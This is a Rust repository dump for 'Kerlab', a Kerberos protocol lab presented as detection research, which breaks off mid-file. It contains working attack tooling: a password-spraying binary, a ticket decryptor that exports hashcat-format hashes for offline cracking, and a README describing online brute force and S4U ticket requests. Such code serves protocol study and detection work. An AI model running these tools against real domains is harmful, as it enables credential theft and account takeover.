11 | use kerlab::encryption::{EncryptionKey}; 12 | 13 | const APPLICATION_NAME: &str = "kerspray"; 14 | 15 | fn main() { 16 | let matches = App::new(APPLICATION_NAME) 17 | .version("0.1.0") 18 | .author("Sylvain Peyrefitte ") 19 | .about("Kerberos Lab for Fun and Detection") 20 | .arg(Arg::with_name("dc") 21 | .long("dc") 22 | .takes_value(true) 23 | .help("host IP of the Domain Controller")) 24 | .arg(Arg::with_name("port") 25 | .long("port") 26 | .takes_value(true) 27 | .default_value("88") 28 | .help("Domain Controller Kerberos port")) 29 | .arg(Arg::with_name("domain") 30 | .long("domain") 31 | .takes_value(true) 32 | .help("Windows Domain")) 33 | .arg(Arg::with_name("password") 34 | .long("password") 35 | .takes_value(true) 36 | .help("Password of TGT")) 37 | .arg(Arg::with_name("file") 38 | .long("file") 39 | .takes_value(true) 40 | .help("File that contain username")) 41 | .arg(Arg::with_name("safe") 42 | .long("safe") 43 | .help("Stop when account it's first locked")) 44 | .get_matches(); 45 | 46 | let file = File::open(matches.value_of("file").unwrap()).unwrap(); 47 | let ip = matches.value_of("dc").expect("You need to provide a dc argument"); 48 | let port = matches.value_of("port").unwrap_or_default(); 49 | let password = matches.value_of("password").unwrap(); 50 | let domain = matches.value_of("domain").unwrap(); 51 | 52 | let options = vec![ 53 | KdcOptionsType::Renewable, 54 | KdcOptionsType::RenewableOk 55 | ]; 56 | 57 | for line in io::BufReader::new(file).lines() { 58 | let username = line.unwrap(); 59 | let mut tgt_request = AsReq::new( 60 | domain, 61 | username.as_str(), 62 | &options 63 | ).unwrap(); 64 | 65 | tgt_request = tgt_request.with_preauth( 66 | &EncryptionKey::new_rc4_hmac(password).unwrap() 67 | ).unwrap(); 68 | 69 | let tgt_response = TcpRequest::ask_for::( 70 | &tgt_request, 71 | format!("{}:{}", ip, port) 72 | ).unwrap(); 73 | 74 | match tgt_response { 75 | KrbResponse::Error(e) => { 76 | match e.inner.error_code.inner { 77 | 6 => println!("Not Found {}\\{}", domain, username), 78 | 24 => println!("Bad password for {}\\{}", domain, username), 79 | _ => println!("Failed {}\\{} : {}", domain, username, e.inner.error_code.inner) 80 | } 81 | } 82 | KrbResponse::Response(_) => { 83 | println!("*******************************************"); 84 | println!("Pwned !!! {}\\{} : {}", domain, username, password); 85 | println!("*******************************************"); 86 | let mut input_string = String::new(); 87 | stdin().read_line(&mut input_string) 88 | .ok() 89 | .expect("Failed to read line"); 90 | } 91 | } 92 | } 93 | } -------------------------------------------------------------------------------- /src/krbkdcrep.rs: -------------------------------------------------------------------------------- 1 | use asn1::{Tag, Integer, SequenceOf, ASN1, Application}; 2 | use padata::PaData; 3 | use base::{PrincipalName, Realm, LastReq, KerberosTime, TicketFlags, HostAddresses}; 4 | use ticket::Ticket; 5 | use yasna::{DERWriter, BERReader}; 6 | use error::{KerlabResult}; 7 | use encryption::{EncryptedData, KeyUsage, EncryptionKey}; 8 | 9 | /// @see https://www.freesoft.org/CIE/RFC/1510/56.htm 10 | /// ```asn.1 11 | /// KDC-REP ::= SEQUENCE { 12 | /// pvno[0] INTEGER, 13 | /// msg-type[1] INTEGER, 14 | /// padata[2] SEQUENCE OF PA-DATA OPTIONAL, 15 | /// crealm[3] Realm, 16 | /// cname[4] PrincipalName, 17 | /// ticket[5] Ticket, 18 | /// enc-part[6] EncryptedData 19 | /// } 20 | /// ``` 21 | #[derive(Sequence, Default, PartialEq, Clone)] 22 | pub struct KdcRep { 23 | pub pvno: Tag<0, Integer>, 24 | pub msg_type: Tag<1, Integer>, 25 | pub padata: Option>>, 26 | pub crealm: Tag<3, Realm>, 27 | pub cname: Tag<4, PrincipalName>, 28 | pub ticket: Tag<5, Ticket>, 29 | pub enc_part: Tag<6, EncryptedData> 30 | } 31 | 32 | pub type AsRep = Application<11, KdcRep>; 33 | 34 | impl AsRep { 35 | /// decrypt the encrypte part of the response using user password 36 | pub fn decrypt(&self, password: &str) -> KerlabResult{ 37 | self.inner.enc_part.decrypt_as::( 38 | password, 39 | KeyUsage::KeyUsageAsRepEncPart 40 | ) 41 | } 42 | } 43 | 44 | /// @see https://www.freesoft.org/CIE/RFC/1510/56.htm 45 | ///```asn1 46 | /// EncKDCRepPart ::= SEQUENCE { 47 | /// key[0] EncryptionKey, 48 | /// last-req[1] LastReq, 49 | /// nonce[2] INTEGER, 50 | /// key-expiration[3] KerberosTime OPTIONAL, 51 | /// flags[4] TicketFlags, 52 | /// authtime[5] KerberosTime, 53 | /// starttime[6] KerberosTime OPTIONAL, 54 | /// endtime[7] KerberosTime, 55 | /// renew-till[8] KerberosTime OPTIONAL, 56 | /// srealm[9] Realm, 57 | /// sname[10] PrincipalName, 58 | /// caddr[11] HostAddresses OPTIONAL 59 | /// } 60 | #[derive(Sequence, Default, PartialEq, Clone)] 61 | pub struct EncKDCRepPart { 62 | pub key: Tag<0, EncryptionKey>, 63 | pub last_req: Tag<1, LastReq>, 64 | pub nonce: Tag<2, Integer>, 65 | pub key_expiration: Option>, 66 | pub flags: Tag<4, TicketFlags>, 67 | pub authtime: Tag<5, KerberosTime>, 68 | pub starttime: Option>, 69 | pub endtime: Tag<7, KerberosTime>, 70 | pub renew_till: Option>, 71 | pub srealm: Tag<9, Realm>, 72 | pub sname: Tag<10, PrincipalName>, 73 | pub caddr: Option> 74 | } 75 | 76 | /// @see https://www.freesoft.org/CIE/RFC/1510/56.htm 77 | ///```asn1 78 | /// EncASRepPart ::= [APPLICATION 25[25]] EncKDCRepPart 79 | /// ``` 80 | pub type EncASRepPart = Application<25, EncKDCRepPart>; 81 | 82 | 83 | /// @see https://www.freesoft.org/CIE/RFC/1510/56.htm 84 | /// TGS response 85 | /// ```asn.1 86 | /// TGS-REP ::= [APPLICATION 13] KDC-REP 87 | /// ``` 88 | pub type TgsRep = Application<13, KdcRep>; 89 | 90 | /// @see https://www.freesoft.org/CIE/RFC/1510/56.htm 91 | /// ```asn1 92 | /// EncTGSRepPart ::= [APPLICATION 26] EncKDCRepPart 93 | /// ``` 94 | pub type EncTGSRepPart = Application<26, EncKDCRepPart>; -------------------------------------------------------------------------------- /derive/src/lib.rs: -------------------------------------------------------------------------------- 1 | extern crate proc_macro; 2 | #[macro_use] 3 | extern crate quote; 4 | extern crate syn; 5 | 6 | use proc_macro::TokenStream; 7 | use syn::Fields; 8 | 9 | #[proc_macro_derive(Sequence)] 10 | pub fn sequence_derive(input: TokenStream) -> TokenStream { 11 | let ast = syn::parse(input).unwrap(); 12 | impl_sequence(&ast).into() 13 | } 14 | 15 | fn impl_sequence(ast: &syn::DeriveInput) -> proc_macro2::TokenStream { 16 | let name = &ast.ident; 17 | let (impl_generics, ty_generics, where_clause) = ast.generics.split_for_impl(); 18 | 19 | if let syn::Data::Struct(data) = &ast.data { 20 | let fields = &data.fields; 21 | 22 | let mut write_asn1 = quote!(); 23 | let mut read_asn1 = quote!(); 24 | 25 | if let Fields::Named(named) = fields { 26 | for field in named.named.iter() { 27 | let name = field.ident.as_ref().unwrap(); 28 | write_asn1.extend(quote! { 29 | self.#name.write_asn1(sequence.next())?; 30 | }); 31 | read_asn1.extend(quote! { 32 | self.#name.read_asn1(sequence.next())?; 33 | }); 34 | } 35 | } 36 | 37 | quote! { 38 | impl #impl_generics ASN1 for #name #ty_generics #where_clause { 39 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 40 | writer.write_sequence(|sequence| -> KerlabResult<()> { 41 | #write_asn1 42 | Ok(()) 43 | })?; 44 | Ok(()) 45 | } 46 | 47 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 48 | reader.read_sequence(|sequence| { 49 | #read_asn1 50 | Ok(()) 51 | })?; 52 | Ok(()) 53 | } 54 | } 55 | } 56 | } 57 | else { 58 | panic!("error"); 59 | } 60 | } 61 | 62 | #[proc_macro_derive(Component)] 63 | pub fn component_derive(input: TokenStream) -> TokenStream { 64 | let ast = syn::parse(input).unwrap(); 65 | impl_component(&ast).into() 66 | } 67 | 68 | fn impl_component(ast: &syn::DeriveInput) -> proc_macro2::TokenStream { 69 | let name = &ast.ident; 70 | let (impl_generics, ty_generics, where_clause) = ast.generics.split_for_impl(); 71 | 72 | if let syn::Data::Struct(data) = &ast.data { 73 | let fields = &data.fields; 74 | 75 | let mut write_data = quote!(); 76 | let mut read_data = quote!(); 77 | 78 | if let Fields::Named(named) = fields { 79 | for field in named.named.iter() { 80 | let name = field.ident.as_ref().unwrap(); 81 | write_data.extend(quote! { 82 | self.#name.write(writer)?; 83 | }); 84 | read_data.extend(quote! { 85 | self.#name.read(reader)?; 86 | }); 87 | } 88 | } 89 | 90 | quote! { 91 | impl #impl_generics Message for #name #ty_generics #where_clause { 92 | fn write(&self, writer: &mut dyn Write) -> KerlabResult<()> { 93 | #write_data 94 | Ok(()) 95 | } 96 | 97 | fn read(&mut self, reader: &mut dyn Read) -> KerlabResult<()> { 98 | #read_data 99 | Ok(()) 100 | } 101 | } 102 | } 103 | } 104 | else { 105 | panic!("error"); 106 | } 107 | } -------------------------------------------------------------------------------- /src/rc4hmac.rs: -------------------------------------------------------------------------------- 1 | use error::{KerlabResult, Error, KerlabErrorKind}; 2 | use encryption::{EType, KeyUsage}; 3 | use rnd::random; 4 | use md5::Md5; 5 | use hmac::{Hmac, Mac}; 6 | 7 | struct Rc4 { 8 | i: u8, 9 | j: u8, 10 | state: [u8; 256] 11 | } 12 | 13 | impl Rc4 { 14 | pub fn new(key: &[u8]) -> Rc4 { 15 | assert!(key.len() >= 1 && key.len() <= 256); 16 | let mut rc4 = Rc4 { i: 0, j: 0, state: [0; 256] }; 17 | for (i, x) in rc4.state.iter_mut().enumerate() { 18 | *x = i as u8; 19 | } 20 | let mut j: u8 = 0; 21 | for i in 0..256 { 22 | j = j.wrapping_add(rc4.state[i]).wrapping_add(key[i % key.len()]); 23 | rc4.state.swap(i, j as usize); 24 | } 25 | rc4 26 | } 27 | fn next(&mut self) -> u8 { 28 | self.i = self.i.wrapping_add(1); 29 | self.j = self.j.wrapping_add(self.state[self.i as usize]); 30 | self.state.swap(self.i as usize, self.j as usize); 31 | let k = self.state[(self.state[self.i as usize].wrapping_add(self.state[self.j as usize])) as usize]; 32 | k 33 | } 34 | 35 | pub fn process(&mut self, input: &[u8], output: &mut [u8]) { 36 | assert!(input.len() == output.len()); 37 | for (x, y) in input.iter().zip(output.iter_mut()) { 38 | *y = *x ^ self.next(); 39 | } 40 | } 41 | } 42 | 43 | /// Compute HMAC with MD5 hash algorithm 44 | /// 45 | /// This is a convenience method to write 46 | /// algorithm like in specification 47 | /// # Example 48 | /// ```rust, ignore 49 | /// let signature = hmac_md5(b"foo", b"bar"); 50 | /// ``` 51 | pub fn hmac_md5(key: &[u8], data: &[u8]) -> Vec { 52 | let mut stream = Hmac::::new_varkey(key).unwrap(); 53 | stream.input(data); 54 | stream.result().code().to_vec() 55 | } 56 | 57 | pub struct Rc4Hmac { 58 | key: Vec, 59 | usage: KeyUsage, 60 | } 61 | 62 | impl Rc4Hmac { 63 | pub fn new(key: Vec, usage: KeyUsage) -> Self { 64 | Self { 65 | key, 66 | usage 67 | } 68 | } 69 | /// Implement https://tools.ietf.org/html/rfc4757 70 | /// 71 | 72 | pub fn etype(&self) -> EType { 73 | EType::Rc4Hmac 74 | } 75 | 76 | pub fn encrypt(&mut self, data: &[u8]) -> Vec { 77 | let mut edata = Vec::new(); 78 | 79 | // generate the Confounder 80 | edata.append(&mut random(8)); 81 | edata.append(&mut data.to_vec()); 82 | 83 | let k1 = hmac_md5(&self.key, &(self.usage as u32).to_le_bytes()); 84 | let k2 = &k1[0..16]; 85 | let mut checksum = hmac_md5(k2, &edata); 86 | let k3 = hmac_md5(&k1, &checksum); 87 | 88 | let mut result = vec![0; edata.len()]; 89 | Rc4::new(&k3).process(&edata, result.as_mut_slice()); 90 | checksum.append(&mut result); 91 | 92 | checksum 93 | } 94 | 95 | pub fn decrypt(&mut self, data: &[u8]) -> KerlabResult> { 96 | //compute K1 97 | let t = self.usage as u32; 98 | let k1 = hmac_md5(&self.key, &t.to_le_bytes()); 99 | let k2 = &k1[0..16]; 100 | 101 | // First 8 bytes are checksum 102 | let expected_checksum = &data[0..16]; 103 | let k3 = hmac_md5(&k1, &expected_checksum); 104 | 105 | let cipher = &data[16..]; 106 | let mut edata = vec![0; cipher.len()]; 107 | 108 | Rc4::new(&k3).process(&cipher, edata.as_mut_slice()); 109 | let checksum = hmac_md5(k2, &edata); 110 | 111 | if expected_checksum != checksum { 112 | Err(Error::new(KerlabErrorKind::Kerberos, "RC4 HMAC checksum mismatch")) 113 | } 114 | else { 115 | Ok(edata[8..].to_vec()) 116 | } 117 | } 118 | } -------------------------------------------------------------------------------- /src/bin/kerticket.rs: -------------------------------------------------------------------------------- 1 | extern crate clap; 2 | extern crate kerlab; 3 | 4 | use clap::{App, Arg}; 5 | use std::fs; 6 | use kerlab::krbcred::{KrbCred, EncKrbCredPart}; 7 | use kerlab::asn1::{from_ber}; 8 | use kerlab::display::{Formatter, Display}; 9 | use kerlab::encryption::{EncryptionKey, KeyUsage}; 10 | use kerlab::ticket::EncTicketPart; 11 | use std::fs::File; 12 | use std::io::{Write}; 13 | 14 | const APPLICATION_NAME: &str = "kerticket"; 15 | 16 | fn main() { 17 | let matches = App::new(APPLICATION_NAME) 18 | .version("0.1.0") 19 | .author("Sylvain Peyrefitte ") 20 | .about("Kerberos Lab for Fun and Detection") 21 | .arg(Arg::with_name("ticket") 22 | .long("ticket") 23 | .takes_value(true) 24 | .help("Path to the ticket file")) 25 | .arg(Arg::with_name("ntlm") 26 | .long("ntlm") 27 | .takes_value(true) 28 | .help("NTLM hash for RC4 encryption de decrypt ticket")) 29 | .arg(Arg::with_name("password") 30 | .long("password") 31 | .takes_value(true) 32 | .help("Password for RC4 encryption de decrypt ticket")) 33 | .arg(Arg::with_name("hashcat") 34 | .long("hashcat") 35 | .takes_value(true) 36 | .help("output file for hash cat brute forcing")) 37 | .get_matches(); 38 | 39 | // load ticket info from tgt 40 | let contents = fs::read( 41 | matches.value_of("ticket") 42 | .expect("ticket argument is mandatory") 43 | ).unwrap(); 44 | 45 | let mut ticket = KrbCred::default(); 46 | from_ber(&mut ticket, &contents).unwrap(); 47 | 48 | println!("*******************************************"); 49 | println!("KRB-CRED := "); 50 | ticket.format(&mut Formatter::new()); 51 | 52 | println!("*******************************************"); 53 | println!("Decrypting KRB-CRED.enc_part"); 54 | println!("EncKrbCredPart := "); 55 | let mut body = EncryptionKey::new_no_encryption() 56 | .decrypt::( 57 | KeyUsage::KeyUsageAsRepEncPart, 58 | &ticket.enc_part, 59 | ).unwrap(); 60 | body.format(&mut Formatter::new()); 61 | 62 | 63 | let mut key: Option = None; 64 | if let Some(password) = matches.value_of("password") { 65 | key = Some(EncryptionKey::new_rc4_hmac(password).unwrap()); 66 | } 67 | if let Some(ntlm) = matches.value_of("ntlm") { 68 | key = Some(EncryptionKey::new_rc4_hmac_from_hash(hex::decode(ntlm).unwrap()).unwrap()); 69 | } 70 | let tgs_info = body.ticket_info.pop().unwrap(); 71 | let tgs = ticket.tickets.pop().unwrap(); 72 | 73 | if let Some(key) = key { 74 | println!("**************************************************"); 75 | println!("Trying to decrypt the first ticket.enc-part"); 76 | println!("EncTicketPart := "); 77 | let ticket_enc_part = key.decrypt::( 78 | KeyUsage::KeyUsageAsRepTicket, 79 | &tgs.enc_part, 80 | ).unwrap(); 81 | ticket_enc_part.format(&mut Formatter::new()); 82 | 83 | 84 | } 85 | 86 | println!("**************************************************"); 87 | 88 | if let Some(hashcat) = matches.value_of("hashcat") { 89 | let mut file = File::create(hashcat).unwrap(); 90 | file.write_all(format!("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", 91 | tgs.enc_part.etype.inner, 92 | tgs_info.pname.unwrap().name_string[0], 93 | tgs_info.srealm.unwrap().as_str(), 94 | tgs_info.sname.unwrap().name_string.iter().map(|x| String::from(x.as_str())).collect::>().join("/"), 95 | hex::encode(&tgs.enc_part.cipher.inner[0..16]), 96 | hex::encode(&tgs.enc_part.cipher.inner[16..] 97 | ) 98 | ).as_bytes()).unwrap(); 99 | } 100 | } -------------------------------------------------------------------------------- /src/base.rs: -------------------------------------------------------------------------------- 1 | use error::{KerlabResult}; 2 | use asn1::{ASN1, Integer, OctetString, SequenceOf, GeneralString, Tag, BitString, GeneralizedTime}; 3 | use yasna::{BERReader, DERWriter}; 4 | 5 | #[repr(u32)] 6 | pub enum MessageType { 7 | KrbAsReq = 10, 8 | KrbAsRep = 11, 9 | KrbTgsReq = 12, 10 | KrbTgsRep = 13, 11 | KrbApReq = 14, 12 | KrbApRep = 15, 13 | KrbReserved1 = 16, 14 | KrbReserved17 = 17, 15 | KrbSafe = 20, 16 | KrbPriv = 21, 17 | KrbCred = 22, 18 | KrbError = 30 19 | } 20 | 21 | 22 | pub type Realm = GeneralString; 23 | 24 | pub type KerberosTime = GeneralizedTime; 25 | 26 | pub type KDCOptions = BitString; 27 | 28 | pub type TicketFlags = BitString; 29 | 30 | #[repr(u32)] 31 | pub enum PrincipalNameType { 32 | NtUnknown = 0, 33 | NtPrincipal = 1, 34 | NtSrvInst = 2, 35 | NtSrvHst = 3, 36 | NtSrvXhst = 4, 37 | NtUid = 5, 38 | NtX500Principal = 6, 39 | NtSmtpName = 7, 40 | NtEnterprise = 10 41 | } 42 | 43 | /// Principal name 44 | /// 45 | /// 46 | /// @see https://www.freesoft.org/CIE/RFC/1510/50.htm 47 | /// 48 | /// ```asn.1 49 | /// PrincipalName ::= SEQUENCE { 50 | /// name-type[0] INTEGER, 51 | /// name-string[1] SEQUENCE OF GeneralString 52 | /// } 53 | /// ``` 54 | #[derive(Sequence, PartialEq, Clone, Default)] 55 | pub struct PrincipalName { 56 | pub name_type: Tag<0, Integer>, 57 | pub name_string: Tag<1, SequenceOf> 58 | } 59 | 60 | impl PrincipalName { 61 | /// Constructor 62 | pub fn new(pntype: PrincipalNameType, values: SequenceOf) -> Self { 63 | PrincipalName { 64 | name_type: Tag::new(pntype as Integer), 65 | name_string: Tag::new(values) 66 | } 67 | } 68 | } 69 | 70 | /// Address type 71 | /// 72 | /// @see https://www.freesoft.org/CIE/RFC/1510/50.htm 73 | /// 74 | /// ```asn.1 75 | /// HostAddress ::= SEQUENCE { 76 | /// addr-type[0] INTEGER, 77 | /// address[1] OCTET STRING 78 | /// } 79 | /// ``` 80 | #[derive(Sequence, PartialEq, Default, Clone)] 81 | pub struct HostAddress { 82 | pub addr_type: Tag<0, Integer>, 83 | pub address: Tag<1, OctetString> 84 | } 85 | 86 | impl HostAddress { 87 | /// Constructor 88 | pub fn new() -> Self { 89 | HostAddress { 90 | addr_type: Tag::new(0), 91 | address: Tag::new(OctetString::new()) 92 | } 93 | } 94 | } 95 | 96 | pub type HostAddresses = SequenceOf; 97 | 98 | /// @see https://www.freesoft.org/CIE/RFC/1510/50.htm 99 | /// 100 | /// 101 | /// ```asn.1 102 | /// LastReq ::= SEQUENCE OF SEQUENCE { 103 | /// lr-type[0] INTEGER, 104 | /// lr-value[1] KerberosTime 105 | /// } 106 | /// ``` 107 | #[derive(Sequence, PartialEq, Default, Clone)] 108 | pub struct LastReqBody { 109 | pub lr_type: Tag<0, Integer>, 110 | pub lr_value: Tag<1, KerberosTime> 111 | } 112 | 113 | pub type LastReq = SequenceOf; 114 | 115 | /// @see https://www.freesoft.org/CIE/RFC/1510/50.htm 116 | /// ```asn.1 117 | /// AuthorizationData ::= SEQUENCE OF SEQUENCE { 118 | /// ad-type[0] INTEGER, 119 | /// ad-data[1] OCTET STRING 120 | /// } 121 | /// ``` 122 | #[derive(Sequence, PartialEq, Default, Clone)] 123 | pub struct AuthorizationDataElement { 124 | pub ad_type: Tag<0, Integer>, 125 | pub ad_data: Tag<1, OctetString> 126 | } 127 | 128 | pub type AuthorizationData = SequenceOf; 129 | 130 | #[cfg(test)] 131 | mod test { 132 | use super::*; 133 | use asn1::to_der; 134 | 135 | /// Test format of the first client message 136 | #[test] 137 | fn test_principal_name() { 138 | let mut pn = PrincipalName::default(); 139 | pn.name_type.inner = 2; 140 | pn.name_string.inner.push(GeneralString::from_ascii("foo").unwrap()); 141 | assert_eq!(to_der(&pn), [48, 14, 160, 3, 2, 1, 2, 161, 7, 48, 5, 27, 3, 102, 111, 111]); 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /src/encryption.rs: -------------------------------------------------------------------------------- 1 | use asn1::{ASN1, Tag, Integer, OctetString, to_der, from_ber}; 2 | use error::{KerlabResult, Error, KerlabErrorKind}; 3 | use yasna::{DERWriter, BERReader}; 4 | use rc4hmac::Rc4Hmac; 5 | use ntlm::{ntlm}; 6 | 7 | 8 | #[repr(u32)] 9 | pub enum EType { 10 | NoEncryption = 0, 11 | DesCbcCrc = 1, 12 | DesCbcMd5 = 3, 13 | Aes256CtsHmacSha196 = 18, 14 | Aes128CtsHmacSha196 = 17, 15 | Rc4Hmac = 23, 16 | Rc4HmacExp = 24 17 | } 18 | 19 | #[repr(u32)] 20 | #[derive(Copy, Clone)] 21 | pub enum KeyUsage { 22 | KeyUsageAsReqTimestamp = 1, 23 | KeyUsageAsRepTicket = 2, 24 | KeyUsageAsRepEncPart1 = 3, 25 | KrbKeyUsageTgsReqPaAuthenticator = 7, 26 | KeyUsageAsRepEncPart = 8 27 | } 28 | 29 | 30 | /// @see https://www.freesoft.org/CIE/RFC/1510/70.htm 31 | /// ```asn.1 32 | /// EncryptedData ::= SEQUENCE { 33 | /// etype [0] INTEGER -- EncryptionType --, 34 | /// kvno [1] INTEGER OPTIONAL, 35 | /// cipher [2] OCTET STRING -- ciphertext 36 | /// } 37 | /// ``` 38 | 39 | #[derive(Sequence, PartialEq, Clone, Default)] 40 | pub struct EncryptedData { 41 | pub etype: Tag<0, Integer>, 42 | pub kvno: Option>, 43 | pub cipher: Tag<2, OctetString> 44 | } 45 | 46 | impl EncryptedData { 47 | pub fn new(etype: Integer, cipher: OctetString) -> Self { 48 | Self { 49 | etype: Tag::new(etype), 50 | kvno: None, 51 | cipher: Tag::new(cipher) 52 | } 53 | } 54 | 55 | /// Conveninent function to decrypt a blob as an ASN.1 defined structure 56 | pub fn decrypt_as(&self, password: &str, key_usage: KeyUsage) -> KerlabResult { 57 | match self.etype.inner { 58 | 0 => { 59 | let mut result = T::default(); 60 | from_ber(&mut result, &self.cipher.inner)?; 61 | Ok(result) 62 | }, 63 | 23 => { 64 | let plaintext = Rc4Hmac::new(ntlm(password)?, key_usage).decrypt(&self.cipher.inner)?; 65 | let mut result = T::default(); 66 | from_ber(&mut result, &plaintext)?; 67 | Ok(result) 68 | } 69 | _ => Err(Error::new(KerlabErrorKind::Crypto, "Unsupported Algorithm")) 70 | } 71 | } 72 | } 73 | 74 | /// @see https://www.freesoft.org/CIE/RFC/1510/71.htm 75 | /// ```asn.1 76 | /// EncryptionKey ::= SEQUENCE { 77 | /// keytype[0] INTEGER, 78 | /// keyvalue[1] OCTET STRING 79 | /// } 80 | #[derive(Sequence, PartialEq, Default, Clone)] 81 | pub struct EncryptionKey { 82 | pub keytype: Tag<0, Integer>, 83 | pub keyvalue: Tag<1, OctetString> 84 | } 85 | 86 | impl EncryptionKey { 87 | pub fn new(keytype: EType, keyvalue: OctetString) -> Self { 88 | Self { 89 | keytype: Tag::new(keytype as Integer), 90 | keyvalue: Tag::new(keyvalue) 91 | } 92 | } 93 | 94 | pub fn new_no_encryption() -> Self { 95 | Self { 96 | keytype: Tag::new(EType::NoEncryption as Integer), 97 | keyvalue: Tag::new(vec![]) 98 | } 99 | } 100 | 101 | pub fn new_rc4_hmac(password: &str) -> KerlabResult { 102 | Ok(Self { 103 | keytype: Tag::new(EType::Rc4Hmac as Integer), 104 | keyvalue: Tag::new(ntlm(password)?) 105 | }) 106 | } 107 | 108 | pub fn new_rc4_hmac_from_hash(hash: Vec) -> KerlabResult { 109 | Ok(Self { 110 | keytype: Tag::new(EType::Rc4Hmac as Integer), 111 | keyvalue: Tag::new(hash) 112 | }) 113 | } 114 | } 115 | 116 | impl EncryptionKey { 117 | pub fn encrypt(&self, key_usage: KeyUsage, object: &dyn ASN1) -> KerlabResult { 118 | match self.keytype.inner { 119 | 0 => { 120 | Ok(EncryptedData::new( 121 | self.keytype.inner, 122 | to_der(object) 123 | )) 124 | }, 125 | 23 => { 126 | let cipher = Rc4Hmac::new(self.keyvalue.inner.clone(), key_usage).encrypt(&to_der(object)); 127 | Ok(EncryptedData::new( 128 | self.keytype.inner, 129 | cipher 130 | )) 131 | }, 132 | _ => Err(Error::new(KerlabErrorKind::Crypto, "Unsupported Algorithm")) 133 | } 134 | } 135 | 136 | pub fn decrypt(&self, key_usage: KeyUsage, data: &EncryptedData) -> KerlabResult { 137 | if self.keytype.inner != data.etype.inner { 138 | return Err(Error::new(KerlabErrorKind::Crypto, "Bad Key")) 139 | } 140 | 141 | match self.keytype.inner { 142 | 0 => { 143 | let mut result = T::default(); 144 | from_ber(&mut result, &data.cipher.inner)?; 145 | Ok(result) 146 | }, 147 | 23 => { 148 | let plaintext = Rc4Hmac::new(self.keyvalue.inner.clone(), key_usage).decrypt(&data.cipher.inner)?; 149 | let mut result = T::default(); 150 | from_ber(&mut result, &plaintext)?; 151 | Ok(result) 152 | }, 153 | _ => Err(Error::new(KerlabErrorKind::Crypto, "Unsupported Algorithm")) 154 | } 155 | } 156 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kerlab 2 | A Rust implementation of Kerberos for FUn and Detection 3 | 4 | Kerlab was developped just to drill down *kerberos* protocol and better understand it. 5 | The main pupose is to write more targeted detection rules. 6 | These rules was presented during the [Toulouse Hacking Conference 2021](https://thcon.party/) that took place on 11 of june. 7 | 8 | :warning: Kerlab needs the nightly version of rust because we massively use static parameters for template :warning: 9 | 10 | ## kerasktgt Kerberos Ask Ticket Granting Ticket 11 | 12 | Use to ask the first Ticket in kerberos protocol. If the username is not set, the TGT request is made without pre authentication. 13 | It will write the ticket into KRB_CRED format, compatible with rubeus or mimikatz. 14 | We can choose between the cleartext password, or the ntlm hash version. 15 | 16 | ``` 17 | kerasktgt 0.1.0 18 | Sylvain Peyrefitte 19 | Kerberos Lab for Fun and Detection 20 | 21 | USAGE: 22 | kerasktgt.exe [FLAGS] [OPTIONS] 23 | 24 | FLAGS: 25 | --forwardable Ask for a forwardable ticket 26 | -h, --help Prints help information 27 | --renewable Ask for a renewable ticket 28 | -V, --version Prints version information 29 | 30 | OPTIONS: 31 | --dc host IP of the Domain Controller 32 | --domain Windows Domain 33 | --ntlm NTLM hash for RC4 encryption 34 | --outfile Output file path 35 | --password Username password 36 | --port Domain Controller Kerberos port [default: 88] 37 | --username Username of TGT 38 | ``` 39 | 40 | ## kerasktgs Kerberos Ask Ticket Granting Servive 41 | 42 | Use to ask a TGS ticket using a saved TGT. `kerasktgs` support S4U protocol extension, through `s4u` options. 43 | 44 | ``` 45 | kerasktgs 0.1.0 46 | Sylvain Peyrefitte 47 | Kerberos Lab for Fun and Detection 48 | 49 | USAGE: 50 | kerasktgs.exe [FLAGS] [OPTIONS] 51 | 52 | FLAGS: 53 | --forwardable Ask for a forwardable ticket 54 | --forwarded Ask for a forwarded ticket 55 | -h, --help Prints help information 56 | --renewable Ask for a renewable ticket 57 | -V, --version Prints version information 58 | 59 | OPTIONS: 60 | --dc host IP of the Domain Controller 61 | --outfile Output file path 62 | --port Domain Controller Kerberos port [default: 88] 63 | --s4u Ask for a service ticket in place of this user 64 | --s4u-realm Ask for a service ticket in place of this user 65 | --service Name of the service 66 | --ticket TGT recorded using kerasktgt 67 | ``` 68 | 69 | ## kerforce Kerberos Brute Force 70 | 71 | Use to perform an online brute force attack. The file attribute is just a file with a password at each line. 72 | 73 | ``` 74 | kerforce 0.1.0 75 | Sylvain Peyrefitte 76 | Kerberos Lab for Fun and Detection 77 | 78 | USAGE: 79 | kerforce.exe [FLAGS] [OPTIONS] 80 | 81 | FLAGS: 82 | -h, --help Prints help information 83 | --safe Stop when account it's first locked 84 | -V, --version Prints version information 85 | 86 | OPTIONS: 87 | --dc host IP of the Domain Controller 88 | --domain Windows Domain 89 | --file File that contain password file 90 | --port Domain Controller Kerberos port [default: 88] 91 | --username Username of TGT 92 | ``` 93 | 94 | ## kerspray Kerberos Password Spraying 95 | 96 | Use to perform a Kerberos Password spraying attack using a list of username. 97 | 98 | ``` 99 | kerspray 0.1.0 100 | Sylvain Peyrefitte 101 | Kerberos Lab for Fun and Detection 102 | 103 | USAGE: 104 | kerspray.exe [FLAGS] [OPTIONS] 105 | 106 | FLAGS: 107 | -h, --help Prints help information 108 | --safe Stop when account it's first locked 109 | -V, --version Prints version information 110 | 111 | OPTIONS: 112 | --dc host IP of the Domain Controller 113 | --domain Windows Domain 114 | --file File that contain username 115 | --password Password of TGT 116 | --port Domain Controller Kerberos port [default: 88] 117 | ``` 118 | 119 | ## kerticket Kerberos Ticket Viewer 120 | 121 | Print informations of ticket saved on disk. Use to convert a ticket into hashcat compatible format. 122 | We can decrytp the `EncTicketPartBody` using the hash or the password of the service (including krbtgt). 123 | 124 | ``` 125 | kerticket 0.1.0 126 | Sylvain Peyrefitte 127 | Kerberos Lab for Fun and Detection 128 | 129 | USAGE: 130 | kerticket.exe [OPTIONS] 131 | 132 | FLAGS: 133 | -h, --help Prints help information 134 | -V, --version Prints version information 135 | 136 | OPTIONS: 137 | --hashcat output file for hash cat brute forcing 138 | --ntlm NTLM hash for RC4 encryption de decrypt ticket 139 | --password Password for RC4 encryption de decrypt ticket 140 | --ticket Path to the ticket file 141 | ``` 142 | -------------------------------------------------------------------------------- /src/padata.rs: -------------------------------------------------------------------------------- 1 | use asn1::{Tag, Integer, OctetString, ASN1, 